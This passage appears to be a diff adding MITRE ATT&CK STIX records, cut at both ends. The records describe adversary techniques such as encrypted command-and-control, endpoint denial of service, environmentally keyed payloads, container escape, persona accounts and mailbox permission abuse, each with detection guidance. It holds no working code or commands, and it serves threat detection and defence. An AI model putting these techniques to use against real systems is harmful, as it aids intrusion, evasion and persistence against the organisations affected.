"source_name": "OPM Leak" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Encrypted Channel", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-20T19:27:46.650Z", + "created": "2020-03-16T15:33:01.739Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", + "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1573", + "external_id": "T1573", + "source_name": "mitre-attack" + }, + { + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840" + }, + { + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Endpoint Denial of Service", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-14T12:05:31.985Z", + "created": "2019-04-18T11:00:55.862Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n", + "x_mitre_contributors": [ + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1499", + "external_id": "T1499", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/227.html", + "external_id": "CAPEC-227", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/131.html", + "external_id": "CAPEC-131", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/130.html", + "external_id": "CAPEC-130", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/125.html", + "external_id": "CAPEC-125", + "source_name": "capec" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html", + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019.", + "source_name": "FireEye OpPoisonedHandover February 2016" + }, + { + "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf", + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.", + "source_name": "FSISAC FraudNetDoS September 2012" + }, + { + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf", + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.", + "source_name": "Symantec DDoS October 2014" + }, + { + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged", + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", + "source_name": "USNYAG IranianBotnet March 2016" + }, + { + "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/", + "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.", + "source_name": "ArsTechnica Great Firewall of China" + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "source_name": "Cisco DoSdetectNetflow" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Environmental Keying", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-06-09T18:53:58.159Z", + "created": "2020-06-23T22:28:28.041Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection", + "Static file analysis" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", + "x_mitre_contributors": [ + "Nick Carr, Mandiant" + ], + "x_mitre_detection": "Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1480/001", + "external_id": "T1480.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf", + "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.", + "source_name": "EK Clueless Agents" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf", + "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.", + "source_name": "Kaspersky Gauss Whitepaper" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices", + "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.", + "source_name": "Proofpoint Router Malvertising" + }, + { + "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf", + "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.", + "source_name": "EK Impeding Malware Analysis" + }, + { + "url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/", + "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019.", + "source_name": "Environmental Keyed HTA" + }, + { + "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf", + "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.", + "source_name": "Ebowla: Genetic Malware" + }, + { + "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js", + "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.", + "source_name": "Demiguise Guardrail Router Logo" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Escape to Host", + "x_mitre_data_sources": [ + "Container: Container Creation", + "Process: OS API Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T14:59:35.913Z", + "created": "2021-03-30T17:38:34.277Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", + "x_mitre_platforms": [ + "Windows", + "Linux", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "User", + "root" + ], + "description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.", + "x_mitre_contributors": [ + "Yuval Avrahami, Palo Alto Networks", + "Daniel Prizmant, Palo Alto Networks", + "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Idan Frimark, Cisco", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" + ], + "x_mitre_detection": "Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1611", + "external_id": "T1611", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.docker.com/get-started/overview/", + "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.", + "source_name": "Docker Overview" + }, + { + "url": "https://docs.docker.com/storage/bind-mounts/", + "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.", + "source_name": "Docker Bind Mounts" + }, + { + "url": "https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html", + "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.", + "source_name": "Trend Micro Privileged Container" + }, + { + "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.", + "source_name": "Intezer Doki July 20" + }, + { + "url": "https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/", + "description": "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.", + "source_name": "Windows Server Containers Are Open" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Establish Accounts", + "x_mitre_data_sources": [ + "Persona: Social Media", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-16T17:35:59.386Z", + "created": "2020-10-01T01:05:42.216Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", + "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1585", + "external_id": "T1585", + "source_name": "mitre-attack" + }, + { + "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation", + "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "source_name": "NEWSCASTER2014" + }, + { + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "source_name": "BlackHatRobinSage" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Event Triggered Execution", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "File: File Creation", + "File: File Modification", + "WMI: WMI Creation", + "File: File Metadata", + "Module: Module Load" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-16T20:11:14.193Z", + "created": "2020-01-22T21:04:23.285Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546", + "external_id": "T1546", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "amnesia malware", + "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exchange Email Delegate Permissions", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Group: Group Modification", + "User Account: User Account Modification" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T18:57:04.148Z", + "created": "2020-01-19T16:54:28.516Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", + "x_mitre_contributors": [ + "Microsoft Detection and Response Team (DART)", + "Mike Burns, Mandiant", + "Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)", + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" + ], + "x_mitre_detection": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1098/002", + "external_id": "T1098.002", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps", + "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.", + "source_name": "Microsoft - Add-MailboxPermission" + }, + { + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018" + }, + { + "url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/", + "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.", + "source_name": "Crowdstrike Hiding in Plain Sight 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html", + "description": "Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021.", + "source_name": "Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452" + }, + { + "url": "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365", + "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.", + "source_name": "Bienstock, D. - Defending O365 - 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Executable Installer File Permissions Weakness", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Module: Module Load", + "Process: Process Creation", + "Service: Service Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-26T19:20:23.030Z", + "created": "2020-03-13T11:12:18.558Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the 